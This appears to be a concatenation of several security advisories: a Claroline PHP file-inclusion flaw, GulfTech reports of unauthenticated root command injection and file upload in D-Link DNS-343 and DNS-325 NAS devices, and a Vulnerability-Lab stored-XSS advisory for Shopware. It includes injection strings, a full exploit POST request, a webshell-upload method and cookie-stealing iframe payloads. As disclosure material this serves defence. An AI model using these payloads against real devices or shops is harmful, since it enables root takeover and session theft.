Claroline is a popular online Open Source e-Learning application used to allow teachers or education organizations to create and administrate courses through the web. Claroline is also used as the framework for other e-Learning applications such as Dokeos. Unfortunately Claroline is vulnerable to a file inclusion issue when register globals is on which may allow for an attacker to read or execute arbitrary files. Some frameworks that use Claroline (such as Dokeos) are also vulnerable to the issues mentioned here. An updated version of Claroline has been released and users should upgrade immediately and disable register_globals if possible. 


Arbitrary File Inclusion:
Claroline is vulnerable to an arbitray file inclusion issue that may allow for remote code execution. The vulnerability is due to an uninitialized array being used to include files. The vulnerable code in claro_init_local.inc.php can be seen below 
if (isset($extAuthSource) && is_array($extAuthSource))
{
    foreach($extAuthSource as $thisAuthSource)
    {
        $_uid = include_once($thisAuthSource['newUser']);

        if ( $_uid > 0 )
        {
            $uidReset             = true;
            $claro_loginSucceeded = true;
            break;
        }
        else
        {
            $_uid                 = null;
            $claro_loginSucceeded = false;
        }
    }
} //end if is_array($extAuthSource)

Unfortunately there is no authentication needed to exploit this issue, thus allowing an attacker to easily include files via the extAuthSource[newUser] variable. 


Solution:
An updated version of Claroline has been released and users are encouraged to upgrade as soon as possible. 


Credits:
James Bercegay of the GulfTech Security Research Team
            
D-Link DNS-343 ShareCenter Remote Root

Vendor: D-Link
Product: D-Link DNS-343 ShareCenter
Version: <= 1.05
Website: http://sharecenter.dlink.com/products/DNS-343


###########################################################################
                     ______      ____________          __  
                    / ____/_  __/ / __/_  __/__  _____/ /_ 
                   / / __/ / / / / /_  / / / _ \/ ___/ __ \
                  / /_/ / /_/ / / __/ / / /  __/ /__/ / / /         
                  \____/\__,_/_/_/   /_/  \___/\___/_/ /_/ 
                                                                
                     GulfTech Research and Development                                                                 

###########################################################################
#          D-Link DNS-343 ShareCenter <= 1.05 Command Injection           #
###########################################################################
 

Released Date: 2017-01-15
Last Modified: 2017-06-22
 Company Info: D-Link
 Version Info: 
              Vulnerable
               D-Link DNS-343 ShareCenter <= 1.05


--[ Table of contents

00 - Introduction
    00.1 Background

01 - Command Injection
    01.1 - Vulnerable code analysis
    01.2 - Remote exploitation

02 - Credit

03 - Proof of concept

04 - Solution

05 - Contact information


--[ 00 - Introduction

The purpose of this article is to detail the research that I have recently 
completed regarding the D-Link DNS 343 ShareCenter.

--[ 00.1 - Background

The D-Link ShareCenter 4-Bay Network Storage Enclosure (DNS-343) connects 
to your network instead of to a computer so everyone on your network can 
back up content to one central location. Plus, it lets you share your 
stored content across your network and over the Internet so family members, 
friends and employees can access it no matter where they are.


--[ 01 - Command Injection

Within the DNS-343 web directory is a folder named "maintenance" that
contains a number of ASP scripts that are related to maintenance tasks that
can be performed. The script by the name of "test_mail.asp" caught my 
attention, and that is what we will focus on for now.

--[ 01.1 - Vulnerable code analysis

The DNS-343 utilizes the goAhead web server, which contains a functionality
called goForms, which basically stores CGI in memory. This is important to
know as the previously mentioned "test_mail.asp" posts directly to the
"/goform/Mail_Test" endpoint. Code for this particular goForm can be found
within the "webs" binary.

int __fastcall sub_27D24(int a1)
{
  int v1; // r4@1
  int *v2; // r10@1
  char *v3; // r8@1
  char *v4; // r6@1
  char *v5; // r5@1
  char *v6; // r7@1
  int v7; // r12@1
  char *v8; // r0@4
  char *v10; // [sp+10h] [bp-230h]@1
  char *v11; // [sp+14h] [bp-22Ch]@1
  char s; // [sp+18h] [bp-228h]@4

  v1 = a1;
  v2 = &dword_8D968;
  v3 = sub_4D340(a1, (int)"f_auth", &byte_7F4B4);
  v11 = sub_4D340(v1, (int)"f_username", &byte_7F4B4);
  v10 = sub_4D340(v1, (int)"f_password", &byte_7F4B4);
  v4 = sub_4D340(v1, (int)"f_smtpserver", &byte_7F4B4);
  v5 = sub_4D340(v1, (int)"f_sender", &byte_7F4B4);
  v6 = sub_4D340(v1, (int)"f_sendto", &byte_7F4B4);
  system("rm /tmp/email_*");
  v7 = (unsigned __int8)*v3 - 49;
  if ( *v3 == 49 )
    v7 = (unsigned __int8)v3[1];
  if ( v7 )
  {
    sprintf(&s, "email -h %s -p 25 -a 0 -s %s -d %s -t", v4, v5, v6);
    v2 = &dword_8D968;
    v8 = &s;
  }
  else
  {
    sprintf(&s, "email -h %s -p 25 -a 1 -u %s -w %s -s %s -d %s -t", v4, 
    v11, v10, v5, v6);
    v8 = &s;
  }
  *v2 = system(v8);
  *v2 = sub_27C80();
  return THISISAREDIRECT(v1, "web/maintenance/test_mail_result.asp");
}

As can be seen in the above psuedo code, the form data passed to the goForm
endpoint is never sanitized, and then used directly in a system call. This
can be leveraged by an unauthenticated remote attacker to execute code as
root and take complete control of the device.

--[ 01.2 - Remote exploitation

Exploiting this issue is trivial, and can be achieved by simply sending a 
post request containing a command injection string within one of the fields
that are affected to the "/goform/Mail_Test" endpoint. I achieved this by 
sending a post request with the following data.

f_smtpserver=;touch /tmp/gulftech;

The above post request successfully creates the file named "gulftech" 
within the /tmp directory as the root user.


--[ 02 - Credit

James Bercegay
GulfTech Research and Development


--[ 03 - Proof of concept

We strive to do our part to contribute to the security community.
Metasploit modules for issues outlined in this paper can be found online.


--[ 04 - Solution

D-Link were notified of these issues June of last year. No update has been
released publicly.


--[ 05 - Contact information

Web
https://gulftech.org/

Mail
security@gulftech.org


Copyright 2018 GulfTech Research and Development. All rights reserved.
            
D-Link DNS-325 ShareCenter Multiple Vulnerabilities

Vendor: D-Link
Product: D-Link DNS-325 ShareCenter
Version: <= 1.05B03
Website: http://sharecenter.dlink.com/products/DNS-325


###########################################################################
                     ______      ____________          __  
                    / ____/_  __/ / __/_  __/__  _____/ /_ 
                   / / __/ / / / / /_  / / / _ \/ ___/ __ \
                  / /_/ / /_/ / / __/ / / /  __/ /__/ / / /         
                  \____/\__,_/_/_/   /_/  \___/\___/_/ /_/ 
                                                                
                     GulfTech Research and Development                                                                 

###########################################################################
#     D-Link DNS-325 ShareCenter <= 1.05B03  Multiple Vulnerabilities     #
###########################################################################
 

Released Date: 2017-01-15
Last Modified: 2017-06-22
 Company Info: D-Link
 Version Info: 
              Vulnerable
               D-Link DNS-325 ShareCenter <= 1.05B03
 

--[ Table of contents

00 - Introduction
    00.1 Background

01 - Unrestricted File Upload
    01.1 - Vulnerable code analysis
    01.2 - Remote exploitation

02 - Command Injection
    02.1 - Vulnerable code analysis
    02.2 - Remote exploitation

03 - Credit

04 - Proof of concept

05 - Solution

06 - Contact information


--[ 00 - Introduction

The purpose of this article is to detail the research that I have recently 
completed regarding the D-Link DNS 325 ShareCenter.

--[ 00.1 - Background

D-Link Share Center DNS-325 2-Bay Network Storage Enclosure is an easy to 
use solution for accessing, sharing and backing up your important data.


--[ 01 - Unrestricted file upload

The DNS-325 is vulnerable to the same file upload issue as the DNS-320L. 
The vulnerable code can be found within the following file:

/usr/local/modules/web/pages/jquery/uploader/multi_uploadify.php

The root of the problem here is due to the misuse and misunderstanding of
the PHP gethostbyaddr() function used within PHP, by the developer of this 
particular piece of code. From the PHP manual this functions return values 
are defined as the following for gethostbyaddr():

"Returns the host name on success, the unmodified ip_address on failure, or 
FALSE on malformed input."

With a brief overview of the problem, let's have a look 
at the offending code in order to get a better understanding of what is 
going on with this particular vulnerability.

--[ 01.1 - Vulnerable code analysis

Below is the code from the vulnerable "multi_uploadify.php" script. You can
see that we have annoted the code to explain what is happening.

#BUG 01: Here the attacker controlled "Host" header is used to define the 
remote auth server. This is by itself really bad, as an attacker could
easily just specify that the host be the IP address of a server that they
are in control of. But, if we send it an invalid "Host" header it will just
simply return FALSE as defined in the PHP manual.

$ip = gethostbyaddr($_SERVER['HTTP_HOST']);
$name = $_REQUEST['name'];
$pwd = $_REQUEST['pwd'];
$redirect_uri =  $_REQUEST['redirect_uri']; 

//echo $name ."
".$pwd."
".$ip;

#BUG 02: At this point, this request should always fail. The $result
variable should now be set to FALSE.

$result = @stripslashes( @join( @file( "http://".$ip."/mydlink/mydlink.cgi?
cmd=1&name=".$name."=&pwd=".$pwd ),"" ));

#BUG 03: Here an empty haystack is searched, and thus strstr() returns a
value of FALSE.

$result_1 = strstr($result,"0");
$result_1 = substr ($result_1, 0,28);  

#BUG 04: The strncmp() call here is a strange one. It looks for a specific
login failure. So, it never accounts for when things go wrong or slightly
unexpected. As a result this "if" statement will always be skipped.

if (strncmp ($result_1,"0",28) == 0 )
//if (strstr($result,"0")== 0 )
{
    header("HTTP/1.1 302 Found");
  header("Location: ".$redirect_uri."?status=0");
  exit();   
}

#BUG 05: At this point all checks have been passed, and an attacker can use
this issue to upload any file to the server that they want.

The rest of the source code was omitted for the sake of breivity, but it 
just handles the file upload logic once the user passes the authentication
checks.

--[ 01.2 - Remote exploitation

Exploiting this issue to gain a remote shell as root is a rather trivial
process. All an attacker has to do is send a post request that contains a 
file to upload using the parameter "Filedata[0]", a location for the file 
to be upload to which is specified within the "folder" parameter, and of 
course a bogus "Host" header.

We have written a Metasploit module to exploit this issue. The module will
use this vulnerability to upload a PHP webshell to the "/var/www/"
directory. Once uploaded, the webshell can be executed by requesting a URI
pointing to the backdoor, and thus triggering the payload.


--[ 02 - Command Injection

There are a number of issues with the CGI's contained within the DNS-325
file structure. The issues that we came across over and over were lack of
authentication, as well as command injection. We will examine one of these
issues, and leave the others as an excercise to the reader.


--[ 02.1 - Vulnerable code analysis

The CGI binary named "photocenter_mgr.cgi" is vulnerable to a very straight 
forward command injection issue when calling the "cgi_set_airplay_device"
function.

size_t cgi_set_airplay_device()
{
  int v0; // r4@3
  size_t v1; // r0@3
  const char *v2; // r0@3
  FILE *v3; // r5@5
  char *v4; // r0@6
  int v5; // r4@7
  signed int v6; // r6@7
  size_t result; // r0@13
  FILE *v8; // r4@11
  int v9; // [sp+10h] [bp-C84h]@1
  int v10; // [sp+410h] [bp-884h]@1
  int v11; // [sp+610h] [bp-684h]@1
  int v12; // [sp+810h] [bp-484h]@1
  char s; // [sp+A10h] [bp-284h]@1
  char v14; // [sp+B10h] [bp-184h]@1
  char v15; // [sp+B50h] [bp-144h]@1
  char v16; // [sp+B90h] [bp-104h]@1
  signed int v17; // [sp+B94h] [bp-100h]@2
  signed int v18; // [sp+B98h] [bp-FCh]@2
  signed int v19; // [sp+B9Ch] [bp-F8h]@2
  int v20; // [sp+BA0h] [bp-F4h]@2
  __int16 v21; // [sp+BA4h] [bp-F0h]@15
  char v22; // [sp+BA6h] [bp-EEh]@15
  char v23; // [sp+BD0h] [bp-C4h]@1
  char v24; // [sp+C10h] [bp-84h]@1
  int v25; // [sp+C50h] [bp-44h]@1
  int v26; // [sp+C54h] [bp-40h]@1
  char dest[4]; // [sp+C58h] [bp-3Ch]@1
  int v28; // [sp+C5Ch] [bp-38h]@1
  int v29; // [sp+C60h] [bp-34h]@1
  int *v30; // [sp+C64h] [bp-30h]@1

  memset(&s, 0, 0x100u);
  memset(&v12, 0, 0x200u);
  memset(&v24, 0, 0x40u);
  memset(&v23, 0, 0x40u);
  memset(&v11, 0, 0x200u);
  v30 = 0;
  memset(&v9, 0, 0x400u);
  *(_DWORD *)dest = 0;
  v28 = 0;
  memset(&v10, 0, 0x200u);
  v25 = 0;
  v26 = 0;
  memset(&v16, 0, 0x40u);
  memset(&v15, 0, 0x40u);
  memset(&v14, 0, 0x40u);
  cgiFormString("dev_name", &s, 256);
  cgiFormString("dev_type", &v24, 64);
  cgiFormString("dev_pw", &v23, 64);
  cgiFormString("type", &v25, 8);
  v30 = &v12;
  v29 = 512;
  printf_out("dev_name=[%s]\n", &s);
  printf_out("dev_type=[%s]\n", &v24);
  printf_out("dev_pw=[%s]\n", &v23);
  printf_out("type=[%s]\n", &v25);
  if ( !strcmp((const char *)&v25, "photo") )
  {
    LOBYTE(v20) = 0;
    *(_DWORD *)&v16 = 1886221359;
    v17 = 1919508783;
    v18 = 2036427888;
    v19 = 1819113518;
  }
  else
  {
    *(_DWORD *)&v16 = 1886221359;
    v17 = 'ria/';
    v18 = 2036427888;
    v19 = 1685414239;
    v20 = 2016309097;
    v22 = 0;
    v21 = 'lm';
  }
  v0 = 0;
  sprintf((char *)&v11, "rm -f %s", &v16);
  system((const char *)&v11);
  v1 = strlen(&s);
  v2 = (const char *)escape_label(&s, v1, &v30, &v29);
  cgi_api_SpecSymbol2BackSlash((char *)&v9, v2);
  sprintf((char *)&v11, "airplayer -c connect -d \"%s\" -t \"%s\" %s >/dev/
  null", &v9, &v24, &v23);
  printf_out("[%s]\n", &v11);
  system((const char *)&v11);
  printf_out("filename[%s]\n", &v16);
  while ( 1 )
  {
    ++v0;
    v3 = (FILE *)fopen64(&v16, "r");
    if ( v3 )
      break;
    printf_out("wait[%d]\n");
    sleep(1u);
    if ( v0 == 30 )
    {
      v6 = (signed int)v3;
      goto LABEL_9;
    }
  }
  fgets(&v15, 512, v3);
  fgets(&v15, 512, v3);
  fgets(&v15, 512, v3);
  fgets(&v14, 512, v3);
  v4 = index(&v14, 62);
  if ( v4 )
  {
    v5 = (int)(v4 + 1);
    v6 = 1;
    *index(v4 + 1, 60) = 0;
    strcpy(dest, v4 + 1);
    printf_out("res[%s]\n", v5);
  }
  else
  {
    v6 = 0;
  }
  fclose(v3);
LABEL_9:
  sprintf(&v16, "/var/www/xml/airplay_info_%s.xml", &v25);
  if ( dest[0] == 48 && !dest[1] )
  {
    v8 = (FILE *)fopen64(&v16, "w+");
    fwrite("", 1u, 0x26u, v8);
    sprintf(
      (char *)&v10,
      "%s",
      &s,
      &v24,
      &v23);
    fputs((const char *)&v10, v8);
    fclose(v8);
  }
  cgiHeaderContentType("text/xml");
  fwrite("", 1u, 0x26u, (FILE *)
  cgiOut);
  if ( v6 == 1 )
  {
    result = fprintf((FILE *)cgiOut, "%s", 
    dest);
  }
  else
  {
    system("kill `pidof airplay_daemon`");
    result = fwrite("timeout", 1u, 0x25u, 
    (FILE *)cgiOut);
  }
  return result;
}

As we can see in the above psuedo code parameters taken from form input are
use directly within a system call without being sanitized. This can be 
leveraged by an attacker to execute arbitrary commands as root. 
Authentication is not required to exploit this issue.

--[ 02.2 - Remote exploitation

Exploiting this issue is trivial. Authentication is not required to 
successfully exploit this issue and gain a remote root shell.


POST /cgi-bin/photocenter_mgr.cgi HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 62

cmd=cgi_set_airplay_device&dev_type=1";touch /tmp/gulftech;"


Simply sending a post request like the one above will successfully create a
file named "gulftech" in the /tmp directory as root.

--[ 03 - Credit

James Bercegay
GulfTech Research and Development


--[ 04 - Proof of concept

We strive to do our part to contribute to the security community.
Metasploit modules for issues outlined in this paper can be found online.


--[ 05 - Solution

D-Link were notified of these issues June of last year. No update has been
released publicly.


--[ 06 - Contact information

Web
https://gulftech.org/

Mail
security@gulftech.org


Copyright 2018 GulfTech Research and Development. All rights reserved.
            
Document Title:
===============
Shopware 5.2.5 & v5.3 - Multiple Cross Site Scripting Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1922

Shopware Security Tracking ID: SW-19834

Security Update: 
http://community.shopware.com/Downloads_cat_448.html#5.3.4
http://community.shopware.com/_detail_2035.html

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-15374

CVE-ID:
=======
CVE-2017-15374


Release Date:
=============
2017-09-05


Vulnerability Laboratory ID (VL-ID):
====================================
1922


Common Vulnerability Scoring System:
====================================
4.4


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Shopware is a modular online shop system that is since 2004 developed in germany. It is available both as 
an open source software as well as in commercial editions. The program can be extended in its functions by 
installing additional plugins. An open API allows third-party systems, such as payment services or ERP 
systems, to be connected. The system is multi shop capable it can thus be generated within an installation 
several shops in different domains. A multi-client capability (complete separation of multishops in the 
administration area) is by default, but can be achieved in the cluster.

(Copy of the Vendor Homepage: https://en.shopware.com/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple stored cross site scripting vulnerability in the official Shopware v5.2.5 & 5.3 CMS.


Vulnerability Disclosure Timeline:
==================================
2016-10-07: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2016-10-08: Vendor Notification (Shopware Security Team)
2016-**-**: Vendor Response/Feedback (Shopware Security Team)
2017-**-**: Vendor Fix/Patch (Shopware Service Developer Team)
2017-09-05: Public Disclosure (Vulnerability Laboratory)
2017-10-25: Security Acknowledgements (Shopware Developer Team)
2017-10-25: Security Acknowledgements (Shopware Security Team)


Discovery Status:
=================
Published


Affected Product(s):
====================
Shopware AG
Product: Shopware - Content Management System (Web-Application) 5.2.5

Shopware AG
Product: Shopware - Content Management System (Web-Application) 5.3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
The shopware v5.2.5 - v5.3 is vulnerable to cross site scripting in the customer and order section of the content management 
system backend modules. Remote attackers are able to inject malicious script code to the firstname, lastname or order 
input fields to provoke a persistent execution in the customer and orders section of the backend. The execution occurs 
in the shopware administrator backend listing when processing to preview the customers (kunden) or orders (bestellungen).
The injection can be processed by interaction via user registration or by manipulation of the order information inputs.
The web issue can be exploited by low privileged user accounts against higher privileged admin- oder moderator-accounts.

The security risk of the bugs are estimated as medium with a cvss (common vulnerability scoring system) count of 4.4. 
Exploitation of the issue requires a low privileged web-application user account and low or medium user interaction. 
Successful exploitation of the vulnerabilities results in persistent phishing mails, session hijacking, persistent 
external redirect to malicious sources and application-side manipulation of affected or connected module context.

Request Method(s):
[+] POST (Registration)
[+] POST (Order Item)
[+] POST (Profile Update)

Vulnerable Input(s):
[+] Firstname
[+] Lastname
[+] Order Name

Affected Module(s):
[+] Kunden (Customers)
[+] Bestellungen (Orders)


Proof of Concept (PoC):
=======================
The cross site vulnerabilities can be exploited by remote attackers with low privileged shopware user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1.  Open the the browser and surf to the target shopware v5.2.5 web-application
2.  Move to the registration formular
3.  Include a script code payload with a iframe src onload tag to the firstname, lastname and name parameters
4.  Submit the request via POST method to register the account
5.  Move to the inbox and verify via link the account to activate
Note: Now the payloads are executable saved to the Kunden (Customer) section in the backend
6.  The administrator visits in the next step the Kunden (Customer) section to preview
7.  The script code payload executes in the customers list
8.  As next step the attacker places an order via shop
Note: The order name manipulation via registration is as well able to execute script code the context
9.  The administrator visits in the next step the Bestellungen (orders) section to preview 
10. The script code payload executes in the orders list
11. Successful reproduce of the both cross site vulnerabilities!

Note: Attackers are able to inject malicious redirects, frames with payloads or other script code tags.
The basic web validation filter of the shopware content management system does not encode the list context.


PoC: Vulnerable Source (Execution in Orders - Bestellungen)
<tr class="x-grid-row  x-grid-row-alt"><td class=" x-grid-cell x-grid-cell-gridcolumn-1496  
x-grid-cell-special x-grid-cell-row-checker x-grid-cell-first"><div class="x-grid-cell-inner " 
style="text-align: left; ;"><div class="x-grid-row-checker">&nbsp;</div></div></td><td class=" 
x-grid-cell x-grid-cell-gridcolumn-1428   "><div class="x-grid-cell-inner " style="text-align: left; 
;">20.08.2016 08:34</div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1429   
"><div class="x-grid-cell-inner " style="text-align: left; ;">20044</div></td><td class=" 
x-grid-cell x-grid-cell-gridcolumn-1430   "><div class="x-grid-cell-inner " style="text-align: left; ;">
536,80</div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1431   "><div class="x-grid-cell-inner " 
style="text-align: left; ;">&nbsp;</div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1432   ">
<div class="x-grid-cell-inner " style="text-align: left; ;">Rechnung</div></td><td class=" x-grid-cell 
x-grid-cell-gridcolumn-1433   "><div class="x-grid-cell-inner " style="text-align: left; ;">Standard Versand</div></td>
<td class=" x-grid-cell x-grid-cell-gridcolumn-1434   "><div class="x-grid-cell-inner " style="text-align: left; ;">
Hauptshop Deutsch</div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1435   "><div class="x-grid-cell-inner " 
style="text-align: left; ;">Mar'Da>"<iframe src="evil.source" onload="alert("PTEST")[PERSISTENT SCRIPT CODE EXECUTION!]" <="" 
korat="">"<iframe src=evil.source onload=alert("PTEST")[PERSISTENT SCRIPT CODE EXECUTION!] <</div></td><td class=" x-grid-cell 
x-grid-cell-gridcolumn-1436 " ><div  class="x-grid-cell-inner " style="text-align: left; ;"><a href="mailto:mardakorat@cuvox.de" 
data-qtip="mardakorat@cuvox.de">mardakorat@cuvox.de</a></div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1437   
" ><div  class="x-grid-cell-inner " style="text-align: left; ;">Offen</div></td><td class=" x-grid-cell 
x-grid-cell-gridcolumn-1438   " ><div  class="x-grid-cell-inner " style="text-align: left; ;">Offen</div></td>
<td class=" x-grid-cell x-grid-cell-actioncolumn-1405   x-action-col-cell x-grid-cell-last" >
<div  class="x-grid-cell-inner " style="text-align: left; ;">
<img alt="" src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" 
class="x-action-col-icon x-action-col-0  sprite-user " data-qtip="Kunde öffnen" data-action="openCustomer"  />
<img alt="" src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" 
class="x-action-col-icon x-action-col-1  sprite-minus-circle-frame " data-qtip="Bestellung löschen" 
data-action="deleteOrder"  /><img alt="" src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" 
class="x-action-col-icon x-action-col-2  sprite-pencil " data-qtip="Zeige Details" data-action="editOrder"  /></div></td></tr>
<tr class="x-grid-row " ><td class=" x-grid-cell x-grid-cell-gridcolumn-1496  x-grid-cell-special 
x-grid-cell-row-checker x-grid-cell-first" ><div  class="x-grid-cell-inner " style="text-align: left; ;">
<div class="x-grid-row-checker">&#160;</div></div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1428   " >
<div  class="x-grid-cell-inner " style="text-align: left; ;">19.08.2016 15:50</div></td><td class=" x-grid-cell 
x-grid-cell-gridcolumn-1429   " ><div  class="x-grid-cell-inner " style="text-align: left; ;">20051</div></td>
<td class=" x-grid-cell x-grid-cell-gridcolumn-1430   " ><div  class="x-grid-cell-inner " 
style="text-align: left; ;">308,75</div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1431   " >
<div  class="x-grid-cell-inner " style="text-align: left; ;">&#160;</div></td>


PoC: Vulnerable Source (Execution in Customers - Kunden)
<div class="x-window x-customer-detail-window x-layer x-window-default x-closable x-window-closable x-window-default-closable" 
style="left: 124px; top: 26px; width: 1093px; height: 458px; z-index: 39041;" id="customer-detail-window-2311" tabindex="-1">
<div style="-moz-user-select: none; left: -1px; top: -1px; width: 1093px;" class="x-window-header x-window-header-draggable 
x-docked x-window-header-default x-horizontal x-window-header-horizontal x-window-header-default-horizontal x-top 
x-window-header-top x-window-header-default-top x-docked-top x-window-header-docked-top x-window-header-default-docked-top 
x-unselectable" id="customer-detail-window-2311_header"><div style="width: 1091px;" id="customer-detail-window-2311_header-body" 
class="x-window-header-body x-window-header-body-default x-window-header-body-horizontal x-window-header-body-default-horizontal 
x-window-header-body-top x-window-header-body-default-top x-window-header-body-docked-top x-window-header-body-default-docked-top 
x-window-header-body-default-horizontal x-window-header-body-default-top x-window-header-body-default-docked-top x-box-layout-ct">
<div style="width: 1066px; height: 154px;" id="customer-detail-window-2311_header-innerCt" class="x-box-inner " 
role="presentation"><div id="customer-detail-window-2311_header-targetEl" style="position:absolute;width:20000px;
left:0px;top:0px;height:1px"><div class="x-component x-window-header-text-container x-box-item x-component-default" 
style="text-align: left; left: 0px; top: 0px; margin: 0px; width: 1049px;" id="customer-detail-window-2311_header_hd">
<span id="customer-detail-window-2311_header_hd-textEl" class="x-window-header-text x-window-header-text-default">
Kundenkonto: Mar'Da"><iframe src="evil.source" onload="alert("PTEST")[PERSISTENT SCRIPT CODE EXECUTION!]" <="" 
korat"=""><iframe src=evil.source onload=alert("PTEST")[PERSISTENT SCRIPT CODE EXECUTION!] < (20019)</iframe></span></div>
<div class="x-tool x-box-item x-tool-default" style="width: 15px; height: 15px; left: 1051px; top: 70px; margin: 0px;" id="tool-2312">
<img id="tool-2312-toolEl" src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" 
class="x-tool-close" role="presentation"></div></div></div></div>


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://shopware.localhost:8080/backend/customer/save?_dc=1471541475086&customerID=22 
Mime Type[application/json]
   Request Header:
      Host[shopware.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Content-Type[application/json]
      X-Requested-With[XMLHttpRequest]
      Referer[http://shopware.localhost:8080/backend/]
      Cookie[SHOPWAREBACKEND=fv4u2kg63p3ff3ht6kd6var803; test; x-ua-device=desktop; session-1=e7f8815a87d6cfa5552abf58325ca4fa184f7b69f9d45ff7b101c17f7ee0a255;]
Connection[keep-alive]
POST-Daten:
{"id":22,"groupKey":"EK","email":"TEST@TEST.de","active":true,"accountMode":0,"confirmationKey":
"","paymentId":5,"firstLogin":"2016-08-18T00:00:00","lastLogin":"2016-08-18T17:22:23","newsletter":0,"validation":0,"
languageId":1,"shopId":1,"priceGroupId":0,
"internalComment":"TEST-comment","failedLogins":0,"referer":"","default_billing_address_id":22,"
default_shipping_address_id":22,
"newPassword":"","amount":402.9,"orderCount":1,"canceledOrderAmount": 0,"shopName":"Hauptshop Deutsch","language":"Deutsch","birthday":"16.05.1985","title":"","
salutation":"mr","firstname":"TEST[INJECTED SCRIPT CODE]>"<iframe src=./evi.source onload=alert(document.cookie) <","
lastname":"TEST[INJECTED SCRIPT CODE]>"<iframe src=./evi.source onload=alert(document.cookie) <",
"number":"20028","billing":[{"id":22,"salutation":"mr","company":"","
department":"","firstName":"TEST[INJECTED SCRIPT CODE]>"<iframe src=./evi.source onload=alert
(document.cookie) <","title":"","lastName":"TEST[INJECTED SCRIPT CODE]>"<iframe src=./evi.source onload=alert(document.cookie) <",
"street":"Teststrau00dfe","zipCode":"72202","city":"Nagold","additionalAddressLine1":"","additionalAddressLine2":"",
"salutationSnippet":"Herr","countryId":2,"number":"","phone":"","vat
Id":"","stateId":null}],"shipping":[{"id":23,"salutation":"mr","company":"","department":"",
"firstName":"TEST[INJECTED SCRIPT CODE]>"<iframe src=./evi.source 
onload=alert(document.cookie) <","title":"",
"lastName":"TEST[INJECTED SCRIPT CODE]>"<iframe src=./evi.source onload=alert(document.cookie) <",
"street":"Teststrau00dfe","zipCode":"72202","city":"Nagold","additionalAddressLine1":"",
"additionalAddressLine2":"","salutationSnippet":"Herr","countryId":2,"stateId":null}],"debit":
[],"paymentData":[{"accountNumber":"","bankCode":"","bankName":"","accountHolder":"","bic":"",
"iban":"","useBillingData":false,"id":null}]}]
   Response Header:
      Server[nginx/1.8.1]
      Content-Type[application/json]
      Connection[keep-alive]
      Set-Cookie[SHOPWAREBACKEND=88g31dgs8lem6cun3ldjq4l3f2; path=/backend/; HttpOnly]
-
Status: 200[OK]
POST http://shopware.localhost:8080/backend/Log/createLog
Mime Type
[application/json]
   Request Header:
      Host[shopware.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
      X-Requested-With[XMLHttpRequest]
      Referer[http://shopware.localhost:8080/backend/]
      Cookie[SHOPWAREBACKEND=88g31dgs8lem6cun3ldjq4l3f2; test; x-ua-device=desktop; 
	session-1=e7f8815a87d6cfa5552abf58325ca4fa184f7b69f9d45ff7b101c17f7ee0a255;]
      Connection[keep-alive]
   POST-Daten:
      type[backend]
      key[Kunden]
      text[Kunde%2020028%20wurde%20gespeichert]
      user[Demo-Admin]
      value4[]
   Response Header:
      Server[nginx/1.8.1]
      Content-Type[application/json]
      Connection[keep-alive]
      Set-Cookie[SHOPWAREBACKEND=hmb3lqokn3bkr6kvpo1o6vi4o6; path=/backend/; HttpOnly]
-
Status: 200[OK]
GET http://shopware.localhost:8080/backend/evil.source[PERSISTENT SCRIPT CODE EXECUTE!] 
Mime Type[text/html]
   Request Header:
      Host[shopware.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Referer[http://shopware.localhost:8080/backend/]
      Cookie[SHOPWAREBACKEND=p56ursgfdc6f1tbh0s35detvc5; test; x-ua-device=desktop; 
	session-1=e7f8815a87d6cfa5552abf58325ca4fa184f7b69f9d45ff7b101c17f7ee0a255;]
      Connection[keep-alive]
   Response Header:
      Server[nginx/1.8.1]
      Content-Type[text/html; charset=UTF-8]
      Connection[keep-alive]
      Set-Cookie[SHOPWAREBACKEND=v3mhes99ai1hsolj8vddjkbci2; path=/backend/; HttpOnly]


Reference(s):
http://shopware.localhost:8080/
http://shopware.localhost:8080/backend/
http://shopware.localhost:8080/backend/Log/
http://shopware.localhost:8080/backend/customer/
http://shopware.localhost:8080/backend/Log/createLog
http://shopware.localhost:8080/backend/customer/save
http://shopware.localhost:8080/backend/AttributeData/
http://shopware.localhost:8080/backend/AttributeData/list


Solution - Fix & Patch:
=======================
The xss vulnerability can be patched by a secure parse of the customer (kunden) and orders (bestellungen) context listings.
